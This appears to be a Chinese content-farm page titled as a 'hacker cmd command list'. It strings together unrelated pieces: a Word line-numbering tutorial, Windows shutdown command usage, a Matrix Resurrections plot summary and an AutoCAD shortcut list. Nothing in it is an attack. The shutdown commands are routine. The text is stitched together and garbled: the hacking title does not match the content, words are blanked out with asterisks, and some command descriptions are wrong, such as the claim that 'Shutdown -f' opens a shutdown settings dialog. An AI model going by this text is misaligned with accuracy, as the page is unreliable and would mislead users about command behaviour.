  在出版物中,有些类型的文档,如果在正文的侧面添加行号,会增强文档的易读性。比如许多英文教材,法律文书、名人手稿等,显然人工添加是不现实的,我们就可以使用添加行号来实现。添加行号这个技巧对于老师给学生打印阅读材料,程序员打印程序都很实用。

  word 如何添加行号呢?方法如下:

  第一步,打开Word文档,选择“视图”→“页面”命令把当前文档设置为页面模式。这一点很重要,其他模式是看不到这个效果的。

  第二步,在打开的Word文档中用鼠标选中要添加行号的段落。

  注:如果要给整篇文章加上行号,或者希望在文章输入过程中自动添加行号,则无需此步骤。

  第三步,选择“文件”菜单下“页面设置”命令,打开“页面设置”对话框,并单击“版式”标签。

  第四步,在“版式”选项卡中找到最下面的“预览”设置部分,在“应用于”选项根据自己的要求选择“整篇文档”或“所选文字”。

  注:如果没有在文档中选择任何文字,则不会出现“所选文字”项。

  第五步,单击下面的“行号”按钮,出现“行号”设置对话框。首先选中“添加行号”复选框,然后根据自己的要求设置“起始编号”和“行号间隔”。其中“距正文”用来设置行号与其正文之间的距离;“编号方式”中选择是“每页重新编号”、“每节重新编号”还是“连续编号”;最后单击“确认”按钮退出“行号”设置。

  第六步,单击“确认”按钮退出“页面”设置。此时你就会看到行号出现在正文的左边。

  如果Word中已经添加了行号,不使用了,需要取消,可以将“添加行号”前面的对勾取消掉就可以了。


黑客cmd命令大全(扩展7)

——如何取消自动关机命令

如何取消自动关机命令

  自动关机是计算机的一个命令。常见的有windows的自动关机,还有嵌入式系统手机系统的自动关机。下面是小编带来的如何取消自动关机命令,希望对你有帮助。

  自动关机命令参数介绍

  

  

  自动关机是计算机的一个命令。常见的有windows的自动关机,还有嵌入式系统手机系统的自动关机。Shutdown.exe的.参数,每个都具有特定的用途,执行每一个都会产生不同的效果,比如“-s”就表示关闭本地计算机,“-a”表示取消关机操作,下面列出了更多参数,大家可以在Shutdown.exe中按需使用。

  -f:强行关闭应用程序

  -m 计算机名:**远程计算机

  -i:显示图形用户界面,但必须是Shutdown的第一个选项

  -l:注销当前用户

  -r:关机并重启

  -t 时间:设置关机倒计时

  -c “消息内容”:输入关机对话框中的消息内容(不能超127个字符)

  如何取消自动关机命令

  

  首先打开命令提示符,点击任务栏的【开始—运行】,然后在运行输入框上输入【cmd】命令,然后敲回车键即可打开了命令提示符了。接着先给电脑设置定时关机,定时关机的命令是Shutdown -s,希望大家能够记住定时关机的命令。

  举个例子,【 at 13:00 Shutdown -s】意思在是1点的时候就会将电脑自动关闭了,当然如果需要设置倒计时关闭电脑的话,命令是【Shutdown.exe -s -t】。比如在运行输入框上输入【Shutdown.exe -s -t 600】命令,意思是在10分钟后自动关闭电脑。

  现在关键时刻到了,如果我们想要给电脑设置取消自动关机命令的话,那么我们在运行上输入【Shutdown -a】,然后再输入【Shutdown -f】命令,这样即可取消自动关机的命令,然后还打开了自动关机对话框,可以对自动关机相关选项进行设置。

  一键式关闭电脑的方法

  所谓“一键关机法”,指的是按一下自己设置的热键,就能够让Windows快速关机。在桌面上单击鼠标右键,从弹出的菜单中选择“新建→快捷方式”,然后在对话框的命令行空白处输入“rundll32.exe user.exe,exitwindows”,单击“下一步”按钮后为此快捷方式起名为“快速关机”,再单击“完成”按钮。

  接下来在桌面上用鼠标右键单击“快速关机”的快捷方式,选择“属性”,然后在打开的对话框“快捷键”栏中,按自己的意愿设置键盘上的热键,如F8。当然你也可以单击下面的“更改图标”按钮,为该快捷方式选择一个漂亮的按钮,如图所示。以后,只要你按下F8键,就等于告诉系统“关闭计算机”了。

  还有一个方法也比较简单:打开记事本,输入“rem this is a batch file”,接着另起一行,输入“Rundll32.exe Shell32.dll,SHExitWindowsEx”,再将该文件保存为“关机.bat”文件,并存放在桌面上。然后按上面的方法为该文件设置一个快捷方式并指定相应的快捷键,如F12,即可实现一键关机。


黑客cmd命令大全(扩展8)

——黑客帝国4剧情解析

黑客帝国4剧情解析

  黑客帝国4剧情解析,1999年,《黑客帝国》惊艳问世,观众被科幻感十足的“**时间”动作创意震撼,不少观众更是为影片所表达的哲学理念所惊叹。黑客帝国4剧情解析。

  11月23日,华纳兄弟电影宣布《黑客帝国4:矩阵重启》确定引进,全国影院即将上映。该影片启用前三部原班人马,基努·里维斯携手凯瑞-安·莫斯再度饰演尼奥&崔妮蒂,更有全新角色加盟。

  《黑客帝国4:矩阵重启》中,尼奥和崔妮蒂将复活继续与机械大军对抗。尼奥会接受**·帕特里克·哈里斯饰演的心理医生的治疗,向其讲述自己的梦境,并服用某种蓝色药丸。接着,他遇到了一个穿着像莫菲斯的人,给了他一片红药丸。尼奥似乎也由此获得了新的力量。他与崔妮蒂在咖啡厅偶遇,但却认不出彼此……

  该片由老三部曲导演沃卓斯基姐妹中的拉娜·沃卓斯基回归执导,演员基努·里维斯、凯莉-安·莫斯、贾达·萍克·史密斯回归。

  日前,**互动网站推出《黑客帝国4:矩阵重启》先导预告片,提供“红色药丸”和“蓝色药丸”两种选择,观众点进去后会随机生成不同的预告片段,其排列组合的版本数高达18万个。

  这种预告方式,被观众称为雄心勃勃的电影宣传方式,以满足那些渴望获得《黑客帝国4》新片信息的影迷。

  22年前横空出世的《黑客帝国》中,男主角尼奥正是在“红色药丸”和“蓝色药丸”中做出选择后,发现了自己所处世界的**——原来眼前的生活和身份都是矩阵虚构的幻象,真实的自己不过是泡在黑暗中的躯体。

  预告片中,最让影迷关心的“救世主”尼奥终于亮相——基努·李维斯一改前三部中干练的短发造型,长发和络腮胡的模样,几乎和他另一**作《疾速追杀》如出一辙。

  《黑客帝国4》已宣布计划于12月22日北美上映。

  1999年,《黑客帝国》已令人惊艳的科幻感问世,观众被科幻感十足的“**时间”动作创意震撼,不少观众更是为影片所表达的哲学理念所惊叹。影片追问,什么是真实?如果是指你能感觉到、闻到、尝到和看到的,那真实就不过是被你的大脑解读出的电子信号。影片带来的超前科幻感与思考让它成为独树一帜的`电影作品。

  2003年上半年和下半年,《黑客帝国3:矩阵**》陆续上映,科技给电影带来的改变更加明显,两部电影是标准的视效大片,特技镜头观众看得酣畅淋漓。

  《黑客帝国2:重装上阵》中,尼奥终于意识到自己的能力和使命,中弹复活后,变成了无所不能的“救世主”,他和女友崔妮蒂、舰长墨菲斯回到了人类的基地锡安,受到人们的热烈欢迎,而“母题”开始反击……这部影片动作戏份多,观众看着过瘾,《黑客帝国3:矩阵**》中,尼奥与AI世界继续战斗到底。

  第三部电影之后,无数影迷都在期待该系列能继续拍下去,所谓念念不忘必有回响,22年后,《黑客帝国》系列影迷终于迎来该系列的第四部作品。

  由拉娜·沃卓斯基执导,基努·里维斯、凯瑞-安·莫斯、叶海亚·阿卜杜勒-迈丁以及杰西卡·亨维克等知名演员主演的《黑客帝国4:矩阵重生》将在今年年底12月22日的时候正式在北美上映。其中基努·里维斯等演员的回归也让粉丝们非常振奋。一起来看看详情吧!

  《黑客帝国4》是是《黑客帝国》系列电影的第四部,在前几部电影的发展基础下继续讲述Neo带领人类在机器制造的虚拟世界中反抗机器的故事。新的影片中尼奥和崔妮蒂将复活继续与机械大军对抗。**发布的预告蕴含了巨大的信息量,快速的剪辑画面中也很难理清游戏中的故事发展大纲,但可以明确的一点是:尼奥再次回归矩阵了。

  华纳兄弟也为了迎接颁奖季的到来,在《黑暗帝国4》的页面上公布了电影的部分剧情,算是提前向观众们说明了故事的情况,在剧情的揭露中也提及了矩阵的特殊之处。

  身处于一个有着两个现实的世界中,也即日常生活和它背后所隐藏的实物,托马斯·安德森(尼奥的矩阵身份)也被迫像《黑客帝国1》的剧情中一样再次选择跟随白兔。尽管选择是一种幻觉,但是这仍然是能进出矩阵的唯一方式,而且在《黑客帝国4》中的矩阵比之前更加强大和坚固,当然也蕴藏着更大的危险。

  在前几天**发布的剧照中也可以看到对《黑客帝国》第一部画面的致敬。喜欢《黑客帝国4》的观众可以等待后续电影的上映。

  有网友表示“我记得之前的三部曲已经把原著故事讲完了。”

  还有网友评论“演员都老了,已经没有以前看的感觉了。”

  11月23日,《黑客帝国4:矩阵重启》宣布确认引进*内地,已过审,上映时间未定。

  此前已经发布的三张海报,分别按顺序致敬了前作三部曲。今天,**又发布了一批全新角色海报,角色背景能看到经典的代码雨带。

  《黑客帝国4:矩阵重生》将于12月22日北美上映。拉娜·沃卓斯基导演,演员中,该系列的两位灵魂人物基努·里维斯、凯瑞-安·莫斯均回归主演这部续集。

  《黑客帝国》影片除了经典的“缸中之脑”的科幻背景设定,还有许多来自哲学层面的思考。展开了对人类社会发展终极形态和人类种族的最终归宿做出了大胆的假设。

  上一部《黑客帝国3:矩阵**》于2003年上映,已经过去了18年,《黑客帝国4》可以称得上“爷青回”的作品。

  除了《黑客帝国》,导演沃卓斯基兄弟也堪称传奇,他们还推出了《V字仇杀队》《云图》《超感猎杀》等口碑佳作。

  而在不断创作的过程中,沃卓斯基兄弟也逐渐完成了自我性别的确认。2006年,哥哥拉里率先变性为女人,并改名拉娜。弟弟安迪也在2016年也宣布变性,并改名为莉莉,至此这对兄弟终于变成了姐妹。


黑客cmd命令大全(扩展9)

——cad快捷键学习CAD快捷键命令大全

cad快捷键学习CAD快捷键命令大全

  在学习中,相信大家一定都接触过知识点吧!知识点就是一些常考的内容,或者考试经常出题的地方。为了帮助大家更高效的学习,下面是小编整理的cad快捷键学习CAD快捷键命令的相关知识,欢迎阅读,希望大家能够喜欢。

  符号键(CTRL开头)

  CTRL+1 PROPCLOSEOROPEN 对象特性管理器

  CTRL+2或4 ADCENTER 设计中心

  CTRL+3 CTOOLPALETTES 工具选项板

  CTRL+8或QC QuickCalc 快速计算器

  **键

  CTRL+A AI_SELALL 全部选择

  CTRL+C或CO/CP COPYCLIP或COpy 复制

  CTRL+D或F6 COORDINATE 坐标

  CTRL+E或F5 ISOPLANE 选择不同的等轴测*面

  CTRL+H或SET SETvar 系统变量

  CTRL+K hyperlink 超级链接

  CTRL+N或N New 新建

  CTRL+O OPEN 打开

  CTRL+P PRINT 打印

  CTRL+Q或ALT+F4 Quit或EXIT 退出

  CTRL+S或SA QSAVE或SAve 保存

  CTRL+T或F4/TA TAblet 数字化仪初始化

  CTRL+V PASTECLIP 粘贴

  CTRL+X CUTCLIP 剪切

  CTRL+Y REDO 重做

  CTRL+Z U 放弃

  CTRL+[ Cancels

  组合键

  CTRL+SHIFT+A或G Group 切换组

  CTRL+SHIFT+C copybase 使用基点将对象复制到

  CTRL+SHIFT+S saveas 另存为

  CTRL+SHIFT+V pasteblock 将

  CTRL+ENTER 要保存修改并退出多行文字编辑器

  功能键

  F1 HELP 帮助

  F2 PMTHIST 文本窗口

  F3或CTRL+F OSNAP 对象捕捉

  F5或IS

  F7或GI GrId 栅格

  F8 ORTHO 正交

  F9 SNAP 捕捉

  F10 Zwsnap 极轴

  F11 TRACKING 对象捕捉追踪

  F12 CMDBAR 命令条

  换挡键

  ALT+F6或CTRL+TAB 打开多个图形文件,切换图形

  ALT+F8 VBA

  ALT+F11 VBA

  首字母

  A Arc 圆弧

  B Block 创建块

  C Circle 圆

  D Ddim 标注样式管理器

  E Erase 删除

  F Fillet 圆角

  L Line 直线

  M Move 移动

  O Offset 偏移

  P Pan 实时*移

  R Redraw 更新显示

  S Stretch 拉伸

  W Wblock 写块

  Z Zoom 缩放

  前两个字母

  AL ALign 对齐

  AP APpload 加载应用程序

  AR ARray 阵列

  BA BAse 块基点

  BO或BPOLY BOundary 边界

  BR BReak 打断

  CH CHange 修改属性

  DI DIst 距离

  DO DOnut 圆环

  DV DView 命名视图

  DX DXfout 输入DXF文件

  EL ELlipse 椭圆

  EX EXtend 延伸

  FI FIlter 图形搜索定位

  HI HIde 消隐

  ID IDpoint 三维坐标值

  IM IMage 图像管理器

  IN INtersect 交集

  LA LAyer 图层特性管理器

  LI或LS LIst 列表显示

  LW LWeight 线宽

  MA MAtchprop 特性匹配

  ME MEasure 定距等分

  MI MIrror 镜像

  ML MLine 多线

  MS MSpace 将图纸空间切换到模型空间

  MT或T Mtext或mText 多行文字

  MV MView **图纸空间的视口的创建与显示

  OR ORtho 正交模式

  OS OSnap 对象捕捉设置

  OP OPtions 选项

  OO OOps 取回由删除命令所删除的对象

  PA PAstespec 选择性粘贴

  PE PEdit 编辑多段线

  PL PLine 多段线

  PO POint 单点或多点

  PS PSpace 切换模型空间视口到图纸空间

  PU PUrge 清理

  QT QText 快速文字功能的打开或关闭

  RE REgen 重生成

  RO ROtate 旋转

  SC SCale 比例缩放

  SE SEttings

  RM ddRModes

  SL SLice 实体剖切

  SN SNap 限制光标间距移动

  SO SOlid 二维填充

  SP SPell 检查拼写

  ST STyle 文字样式

  SU SUbtract 差集

  TH THickness 设置三维厚度

  TI TIlemode **最后一个布局(图纸)空间和模型空间的.切换

  TO TOolbar 工具栏

  TR TRim 修剪

  UC UCsman 命名UCS

  VS Vsnapshot或Vslide 观看快照

  WE WEdge 楔体

  XL XLine 构造线

  XR XRef 外部参照管理器

  前三个字母

  APE APErture 设置对象捕捉靶框的大小

  CHA CHAmfer 倒角

  DIM DIMension 访问标注模式

  DIV DIVide 定数等分

  EXP EXPort 输出

  EXT EXTrude 面拉伸

  IMP IMPort 输入

  LEN LENgthen 拉长

  LTS LTScale 线型的比例系数

  POL POLygon 正多边形

  REN REName 重命名

  PRE PREview 打印预览

  REC RECtangle 矩形

  REG REGion 面域

  REV REVolve 实体旋转

  RPR RPRef 渲染配置

  SCR SCRipt 运行脚本

  SEC SECtion 实体截面

  SHA SHAde 着色

  SPL SPLine 样条曲线

  TOL TOLerance 公差

  TOR TORus 圆环体

  UNI UNIon 并集

  两个字母(间隔)

  TM TiMe 时间

  TX或DT TeXt

  VL VpLayer **视口中的图层显示

  RI ReInit 重新加载或初始化程序文件

  RA RedrawAll 重画

  RR RendeR 渲染

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 yyfangchan@163.com (举报时请带上具体的网址) 举报,一经查实,本站将立刻删除